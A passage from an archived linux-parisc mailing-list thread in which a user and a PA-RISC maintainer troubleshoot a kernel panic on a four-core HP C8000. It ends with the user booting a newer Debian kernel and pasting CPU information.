bmRfbGludXhfZ2F0ZXdheV9wYWdlKzB4OWE0LzB4MTAwMA0KWyAgIDMyLjEzMjAwMF0gIFs8MDAw
MDAwMDA0MDE1ZGU2MD5dIGNhczJfZW5kKzB4ODVjLzB4OWZjDQpbICAgMzIuMTMyMDAwXSAgWzww
MDAwMDAwMDQwMTYwNGE0Pl0gaW50cl9leHRpbnQrMHgyMGMvMHgyNDQNClsgICAzMi4xMzIwMDBd
ICBbPDAwMDAwMDAwNDAxNWRiZTg+XSBjYXMyX2VuZCsweDVlNC8weDlmYw0KWyAgIDMyLjEzMjAw
MF0gIFs8MDAwMDAwMDA0MDE1ZGQ1MD5dIGNhczJfZW5kKzB4NzRjLzB4OWZjDQpbICAgMzIuMTMy
MDAwXSAgWzwwMDAwMDAwMDQwNWE4ZWE0Pl0gX19za19ydW5fZmlsdGVyKzB4MTU2Yy8weDE3MzgN
ClsgICAzMi4xMzIwMDBdIA0KPENwdTA+IDAzMDAxMDkxMDBlMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIENDX1BST0NTX0VOVFJZX09VVA0KDVsgICAzMi4xMzIwMDBdIEtlcm5lbCBwYW5pYyAtIG5v
dCBzeW5jaW5nOiBCYWQgQWRkcmVzcyAobnVsbCBwb2ludGVyIGRlcmVmPykNCjxDcHUwPiA3ODAw
MGM2MjAwZTAwMDAwICBhMGUwMDhjMDExMDBiMDA5ICBDQ19QQVRfRU5DT0RFRF9GSUVMRF9XQVJO
SU5HDQoNPENwdTA+IDc2MDAwYzY4MDBlMDAwMDAgIDAwMDAwMDAwMDAwMDA1MjAgIENDX1BBVF9E
QVRBX0ZJRUxEX1dBUk5JTkcNCg08Q3B1MD4gMDMwMDEwOTEwMGUwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgQ0NfUFJPQ1NfRU5UUllfT1VUDQoNWyAgIDMyLjEzMjAwMF0gLS0tWyBlbmQgS2VybmVs
IHBhbmljIC0gbm90IHN5bmNpbmc6IEJhZCBBZGRyZXNzIChudWxsIHBvaW50ZXIgZGVyZWY/KQ0K
--089e013c60ece4f4fb052f5bce3e--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 19:52:27 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <CACrbsaDmyLfATgQckhyp1OdzH+ex_po5h6bMDFJBP5_XS_EqPw@mail.gmail.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
	<56FD5C30.4020409@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459446751 29659 80.91.229.3 (31 Mar 2016 17:52:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 17:52:31 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 19:52:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alglh-0004YT-K9
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 19:52:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757518AbcCaRw3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 13:52:29 -0400
Original-Received: from mail-ig0-f173.google.com ([209.85.213.173]:33329 "EHLO
	mail-ig0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757515AbcCaRw2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 13:52:28 -0400
Original-Received: by mail-ig0-f173.google.com with SMTP id ma7so100097184igc.0
        for <linux-parisc@vger.kernel.org>; Thu, 31 Mar 2016 10:52:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=ndAequhm/cJcQZFzspzYCa7qHSeE+6rD5HchvW60ZXc=;
        b=BbPlW+T2SjUHmSeFMUEYW8/usmK9h/fGmtgTxS9PPuQk14GRMK6/lXKek5b4lKMmL8
         dHzq6HVF9EoQFClx3aO/2T8cglGB+1BQ/gERof641XdAskcw+OND+6wspu9NJBjV2FOe
         NYi4m86mtEe/3Tzn3Q1TYvKAJVrFuCbBT80a+qgpZ62QE6+yKi5iWznAEr2tZx7gaz4m
         HQriFlZIJcIjEKF8jsdbdZaLkE1R6BSjJaBC4RohXPmKs7j4VvczG1WHS1I4FyEZ0LCg
         g2LMOWazYOneWtlZP/CNdqYx+Uufquyde4CRkVs8VVzKPA07sLqxCZut5umH8gNMz2B3
         siww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=ndAequhm/cJcQZFzspzYCa7qHSeE+6rD5HchvW60ZXc=;
        b=EhjDUMMF/Zk9SVAPqpXToYxyxg1kz02NVXDtChdd+RZeclwYsmzgWDEtvjkh55cmjt
         7EAy3xQf5L7inStlFWJSxoDEiU+d+C5ZDTOphrFfwKApagc/Mz+AaVRwrfOH5/LJysxq
         +hs7kPaX1PwP7bT2vNxa5YBYy28FD8TgTHyfyKr4TBcUZhUuWSXjSy09LBYGJsUK73UJ
         B0LfXcurs11eWJoozGt379T4Nm+DmUWKfFtUy0ughGZGeb9yNfx7URjZqAMCuLATyzN/
         PxYc3BvA1tuWvBjeBOkCd3EYRgM97IrChQzCp0/MfX6n5u1TZVXX3IeYlU2lRW7mwCWW
         jEQQ==
X-Gm-Message-State: AD7BkJIVlT4UvV7ZT0ab5XML1/JjSCH8v8jUGyfRUjClMw8sUVCZOkf6hC10OBAvCwbT4FPARhuYG9Rasn8Wow==
X-Received: by 10.50.57.50 with SMTP id f18mr973878igq.93.1459446747665; Thu,
 31 Mar 2016 10:52:27 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Thu, 31 Mar 2016 10:52:27 -0700 (PDT)
In-Reply-To: <56FD5C30.4020409@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26565>

>From the boot messages looks like a bug in the "autofs4" module:

[   28.916000] systemd[1]: Inserted module 'autofs4'
[   28.988000] systemd[1]: Set hostname to <blsw>.
[   29.064000] systemd[1]: /etc/mtab is not a symlink or not pointing
to /proc/self/mounts. This is not supported anymore. Please make sure
to replace this file by a symlink to avoid incorrect or misleading
mount(8) output.
[   32.132000] Backtrace:
[   32.132000]  [<00000000401fcab4>] handle_percpu_irq+0xac/0xe8
[   32.132000]  [<00000000401f6bbc>] generic_handle_irq+0x4c/0x68
[   32.132000]  [<00000000401612a4>] call_on_stack+0x18/0x24
[   32.132000]  [<000000004017370c>] execute_on_irq_stack+0x5c/0xa8
[   32.132000]  [<000000004015fe5c>] _switch_to_ret+0xd9c/0xf40
[   32.132000]  [<00000000401604f4>] intr_save+0x18/0x11c
[   32.132000]  [<0000000040160820>] dtlb_miss_20w+0xc8/0x108
[   32.132000]  [<0000000040160568>] intr_save+0x8c/0x11c
[   32.132000]  [<000000004015fee8>] _switch_to_ret+0xe28/0xf40
[   32.132000]  [<000000004015e9a4>] end_linux_gateway_page+0x9a4/0x1000
[   32.132000]  [<000000004015de60>] cas2_end+0x85c/0x9fc
[   32.132000]  [<00000000401604a4>] intr_extint+0x20c/0x244
[   32.132000]  [<000000004015dbe8>] cas2_end+0x5e4/0x9fc
[   32.132000]  [<000000004015dd50>] cas2_end+0x74c/0x9fc
[   32.132000]  [<00000000405a8ea4>] __sk_run_filter+0x156c/0x1738
[   32.132000]
[   32.132000]
[   32.132000] Bad Address (null pointer deref?): Code=26
regs=0000000041f7a340 (Addr=0000000000000000)
[   32.132000] CPU: 0 PID: 0 Comm: swapper/0 Not tainted
3.16.0-4-parisc64-smp #1 Debian 3.16.7-ckt4-3
[   32.132000] task: 0000000040984e18 ti: 00000000408c8000 task.ti:
00000000408c8000
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 20:01:32 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <56FD65FC.9030201@gmx.de>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
 <56FD5C30.4020409@gmx.de>
 <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459447311 6470 80.91.229.3 (31 Mar 2016 18:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 18:01:51 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 20:01:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alguX-0008RM-TC
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 20:01:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757514AbcCaSBh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 14:01:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58931 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757415AbcCaSBh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 14:01:37 -0400
Original-Received: from [192.168.20.60] ([92.203.38.102]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MI5rO-1aiwol2FBu-003seG; Thu, 31 Mar 2016 20:01:33
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
X-Provags-ID: V03:K0:Q3QnFlPid88gsNbJSiLOYnXwczrYkHxjMl6Dn6Buk7h/qENYsbS
 UhpyGSojLRSjW38K/taueUVJiIjaV1ItKEHL/yn3wPc7+UNwjzHh67o+BVeBT2izQmmV3SD
 F+30JiuXyEUMF3pKfgVVhxHiBcPgnt5d5/SWF4Um8zvcLH08Neo/msAKrGvPWf4zpDlk/c9
 BiAyItNRx9m+SP620yj3g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LsZl+RHROBo=:M5OqaXvCKFmbIip0k1R3rq
 IVbIXJqws3LAw8cDAUASRYPu9QRwTKmFH4NEl9Mr7nTh+WHbR5QvoIxsVnMlCnTZ1HHLTwNP0
 Ie33zdzAX8LiJCOrdFUE/CqRXo3X7mEy/wXA6t0wgme7o64j21n3x38Odq6hJoNt07hl0Zc8C
 LGCzgGawlRStIYUrGHbdvFKA0c5kidVrMluMpAmLvLlij/5FGYi8xnjpiMKHJ1PRyMw2d8Yxa
 2V3V1YxHR80IP7ejxj+N+970eNvYco7XwGWQwz9yYgVvNDV+LLHsIrFCzQS7JUol6UHx/LBQK
 Q6/3LaTgGHVQ5UzaD0y/cHDdo3QATPJ7YvgulNbMakvm9bokFfZLXL5F9dLW0Gm7xKRFWAW4r
 f+OBK3g37s0A/URjVy9uZRuvOEl7uygZOXcdcU0chfcq7Jjt4kLR1TdUL/hcjOJRPZvEFDx2F
 S3w7XUKrKwxoethUbrBFnS4M47ohPXN/VASZTBwcs8sPsc4T5o+cESvjiE0DodcMisDp8rvMo
 a7y8zhMryxD3iQK8vQum71HtkvEkcfXhqykQEnO5HT1OgwEEqLFz6+Roatj+VzCy8qLUJ2L/F
 oZfJNyR4LgNvIg9lfAAhtsno51ycExGdM+927HbYhdlQtfsZZ3FzYaOi4xDT20iUgNUraU+LK
 c18JrApiyTlsiv1MNdkZsMFcqfFBJaxaetQnwmtemDktWSYiJlQhLVNwzpibcgD5cJve2qo7y
 Duv6CfE69jTu59KBDVB6p2B+cJd1MXSdQaROzfzGxKsSr6SXeSuf/fHTFa0hLFuuDzIOoTkR 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26566>

On 31.03.2016 19:44, Simone Mannori wrote:
>> I think Debian 5 will not even install on the C8000..
> 
> Correct: the boot DVD hang after a while.
> 
>> But you didn't gave any information which kernel version you are using ?
>>
>> This kernel should be pretty stable on the C8000:
>> http://backup.parisc-linux.org/kernel/linux-image-4.2.0-1-parisc64-smp_4.2.6-3+b3_hppa.deb
> 
> The Debian 8.0 ( "debian-8.0-hppa-CD-1.iso") has configured this kernel:
> 
> Linux version 3.16.0-4-parisc64-smp (debian-kernel@lists.debian.org)
> (gcc version 4.8.4 (GCC) ) #1 SMP Debian 3.16.7-ckt4-3 (2015-02-03)

The 3.16 kernel is far too old.
It doesn't even makes sense to debug this kernel any longer, which is why
I said you should update to latest debian unstable (and it's written in the
installation wiki as well).
You have to keep in mind, that the parisc linux port was really nearly stopped
when I built this install CD. Since then we have fixed an uncountable number of
bugs.
So, please update all packages including kernel, glibc and so on.
If you face problems then, please let us know.
 
> I'm attaching the full set of booting message.
> 
> Probably you have a more recent kernel because AFTER the installation
> you have updated the full distro with more recent packages.
> Unfortunately, with this configuration, I can't boot.
> I would like to avoid the de-installation of the second processor.

You could try to boot with the "nosmp" kernel option (add it at the IPL prompt).
Probably "autofs=off" (not sure if this is the syntax) could work as well (if you think it's the autofs module).

If you have booted up, update kernel and packages.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Thu, 31 Mar 2016 20:27:35 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <CACrbsaCah_T1Vg4x7Z4JtJ7mfjPgPdYmEK6YQViAss66Du767Q@mail.gmail.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
	<56FD5C30.4020409@gmx.de>
	<CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
	<56FD65FC.9030201@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459448882 32391 80.91.229.3 (31 Mar 2016 18:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 18:28:02 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 20:27:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alhJh-00038X-Pa
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 20:27:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757534AbcCaS1h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 14:27:37 -0400
Original-Received: from mail-io0-f175.google.com ([209.85.223.175]:36282 "EHLO
	mail-io0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757495AbcCaS1g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 14:27:36 -0400
Original-Received: by mail-io0-f175.google.com with SMTP id q128so122059893iof.3
        for <linux-parisc@vger.kernel.org>; Thu, 31 Mar 2016 11:27:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=24jAW/yCuwdYNMsQ/216Q/mXeib2yNL8ZztgXLVh4pQ=;
        b=DlkVLNVoWs7rHK3yHE02tVc3zvK84eBj2AYcrLOlnALKAQP8RhzfQDjj85aCftX/Uz
         6KkdI5utOmMZoF/6IurMCgWz0CL5/u1Zj9+TWe+lrJ/hAN/+9QCOMUAQOi8ilQD2K5GL
         oxsCWt/K7DprPC9pQxkQvrXcaLZkD2a4cCClntbqvNA1ImBfp8uKXx2F1sfmD0Y8LAar
         Uv+HmfgfboIsuOozrByAbSCWCj5gDab3jSnVsxdp6o2g0YUAX+4LfphAvoeqZrwILTpI
         6n6tXoVLwP2gION3Ss/QLoINbYRYg0i4f8UxtQjvsSU5SNDlclSLxZK3xc3W/RvWQZIw
         lCTA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=24jAW/yCuwdYNMsQ/216Q/mXeib2yNL8ZztgXLVh4pQ=;
        b=Jf3JQAdmgm6hCfaJCgi9qK4sYaGnerzfKmC6RAwT6VacDntMvNyikfSQKapcgnuc+X
         SznX15tUedJpkCjmkHRZwf7ZvzyQNns3WMK6heLVXvJsAPgA4QZyjwREZk/3AlhFX/Uq
         HiJ5IIV/JxM9hUudnZ+uOFQbBlWLTTEU7ouwWR9bBc8wTf52MChOExBfaUJduGoolc6J
         KwfRTa2uh6pNsH6kCCb3YbdPQGi54UEdUlYZ0aLcdIZY2Cz9PIdLw8UWTqbM1XJKQK8L
         IY69egGchgHtrNrpedWVmOeNaA6IWkwGd0e6whMhLEJM71/rGE1eAIg7ZR+JuQyBF3Xu
         mQpw==
X-Gm-Message-State: AD7BkJI+nhp0lhYbGnSyjSHw8UhLjM/Q6btcNckyJimculDm9KQpCyTcVKVxrzHjTJ3Atqqc0VBTjUH5Z6UfLQ==
X-Received: by 10.107.9.202 with SMTP id 71mr4767996ioj.52.1459448855827; Thu,
 31 Mar 2016 11:27:35 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Thu, 31 Mar 2016 11:27:35 -0700 (PDT)
In-Reply-To: <56FD65FC.9030201@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26567>

Partial success :-)

Using IPL, I have added "nosmp" option in the kenel command line.
Now the boot finish correctly and reach the command line prompt :-).

I'm updating following the wiki instruction ....

Thanks a lot for the help ...

    Simone Mannori - Italy


On 31 March 2016 at 20:01, Helge Deller <deller@gmx.de> wrote:
> On 31.03.2016 19:44, Simone Mannori wrote:
>>> I think Debian 5 will not even install on the C8000..
>>
>> Correct: the boot DVD hang after a while.
>>
>>> But you didn't gave any information which kernel version you are using ?
>>>
>>> This kernel should be pretty stable on the C8000:
>>> http://backup.parisc-linux.org/kernel/linux-image-4.2.0-1-parisc64-smp_4.2.6-3+b3_hppa.deb
>>
>> The Debian 8.0 ( "debian-8.0-hppa-CD-1.iso") has configured this kernel:
>>
>> Linux version 3.16.0-4-parisc64-smp (debian-kernel@lists.debian.org)
>> (gcc version 4.8.4 (GCC) ) #1 SMP Debian 3.16.7-ckt4-3 (2015-02-03)
>
> The 3.16 kernel is far too old.
> It doesn't even makes sense to debug this kernel any longer, which is why
> I said you should update to latest debian unstable (and it's written in the
> installation wiki as well).
> You have to keep in mind, that the parisc linux port was really nearly stopped
> when I built this install CD. Since then we have fixed an uncountable number of
> bugs.
> So, please update all packages including kernel, glibc and so on.
> If you face problems then, please let us know.
>
>> I'm attaching the full set of booting message.
>>
>> Probably you have a more recent kernel because AFTER the installation
>> you have updated the full distro with more recent packages.
>> Unfortunately, with this configuration, I can't boot.
>> I would like to avoid the de-installation of the second processor.
>
> You could try to boot with the "nosmp" kernel option (add it at the IPL prompt).
> Probably "autofs=off" (not sure if this is the syntax) could work as well (if you think it's the autofs module).
>
> If you have booted up, update kernel and packages.
>
> Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Fri, 1 Apr 2016 08:41:31 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <CACrbsaACL9zoO1pt5KFCSzkWhPvddsK7CFwsM1yJNLA+OsGjfQ@mail.gmail.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
	<56FD5C30.4020409@gmx.de>
	<CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
	<56FD65FC.9030201@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459492899 21610 80.91.229.3 (1 Apr 2016 06:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Apr 2016 06:41:39 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 01 08:41:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alslx-0002kx-0Q
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Apr 2016 08:41:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758214AbcDAGlc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Apr 2016 02:41:32 -0400
Original-Received: from mail-ig0-f176.google.com ([209.85.213.176]:35771 "EHLO
	mail-ig0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754537AbcDAGlc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Apr 2016 02:41:32 -0400
Original-Received: by mail-ig0-f176.google.com with SMTP id cl4so6382334igb.0
        for <linux-parisc@vger.kernel.org>; Thu, 31 Mar 2016 23:41:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=/zJNwEJr0KWwmqeEZ397O6jXoTgmUPJi/4bslCMh8LI=;
        b=ZzwmimNciTb5NWVf2Jsww66QXb9Z7Jf6DYizVbxCnPYZQLEoOoxmhtKyakKo+iwNck
         0Oei21e9nLOQJtTVFqw0nlivBk0oVHSpUKVczF8u9jW+KyVGUOg6z16XPLhUU64ClN7h
         hcF0aPszoMpE+j4hNkKIyao/vSvkLUehIphve1HiSdmK3IAOJJzkJ2dXJGI3R3Itv72P
         SjBMLeHLaNMaBO/27c8jyjsGLolj7tl5ysxbeYDIWLXc5LPXYZGZjs90tjcmSIx7OhEB
         HkbYBdUTqeImU9FcSluz+euLeRbGAFRZkmfyUPJ1OpWuiHb4WHvbuEdBruy7P0sik73O
         CvfA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=/zJNwEJr0KWwmqeEZ397O6jXoTgmUPJi/4bslCMh8LI=;
        b=FVV5fiumLMeYHWxBnPfnHQWJ4b1i99ToOOz/wAu+AbLNIyBWPOuX488bUFHtcP0f5j
         x7SiH1Ivo37Hdnv+AvwMBAyI74Spx44Oi+Dsh81hIJFMdMGj/mMeyExLGIGUyP3d3cKs
         OozwAX7P+UBkTZ4b5d9jDe8JtBiq6W6rk52sHj20VC9vwJDblqc1jbmDIu7UhlGH91hc
         OpKwydgtREYhz8aX8BPjFRk8kRgQMs4zbZS2JpQUcmV6Sb3RSho7UYQd94v9jRSfLPX2
         +wkA4I+5zFU/4ghtYaZlaeREYxlivxQE4AlCKzlLm+qYl7iWOyb5LvuUu1n/8G5mYjr4
         YFqA==
X-Gm-Message-State: AD7BkJL6/dfdThyOImXWqs3kshxEg8Fr8x4QsMhIBkixGCeLclX2tp/8+6v8FSmRDBlF1i03Muz8ve0Pt8ALdg==
X-Received: by 10.50.28.19 with SMTP id x19mr1483082igg.19.1459492891291; Thu,
 31 Mar 2016 23:41:31 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Thu, 31 Mar 2016 23:41:31 -0700 (PDT)
In-Reply-To: <56FD65FC.9030201@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26568>

Success: successfull update and boot with new kernel (please see below
for the details)

Respect the instruction presents on:

https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation

I have only few observations:

- the "/etc/apt/sources.list" must contains ONLY one repository
reference, yours:

    deb http://ftp.debian-ports.org/debian unstable main

- after the "apt-get install debian-ports-archive-keyring" and the
"apt-get update" I was obliged to run

- "apt-get dist-upgrade" because the simple "apt-get upgrade" was not
sufficient.

For the newbie: login as normal user, then switch to "root" using the
"su" command.

Thanks a lot for your very helpful support. I will start to put the
details of this voyage on a wiki page as soon as possible (ASAP).

  Simone Mannori - Italy

//**---------------------------------------------------------------------------------------------------------

NEW KERNEL
simone@blsw:~$ uname -a
Linux blsw 4.4.0-1-parisc64-smp #1 SMP Debian 4.4.6-1 (2016-03-17) parisc64 GNU/
Linux

FOUR CORES ACTIVE
simone@blsw:~$ cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8800 (Mako)
cpu MHz         : 1000.000000
capabilities    : os64 iopdir_fdc needs_equivalent_aliasing (0x35)
model           : 9000/785/C8000
model name      : Crestone Peak Fast?
hversion        : 0x000088b0
sversion        : 0x00000491
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1988.60
software id     : 6267540911694045181

processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8800 (Mako)
cpu MHz         : 1000.000000
capabilities    : os64 iopdir_fdc needs_equivalent_aliasing (0x35)
model           : 9000/785/C8000
model name      : Crestone Peak Fast?
hversion        : 0x000088b0
sversion        : 0x00000491
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1988.60
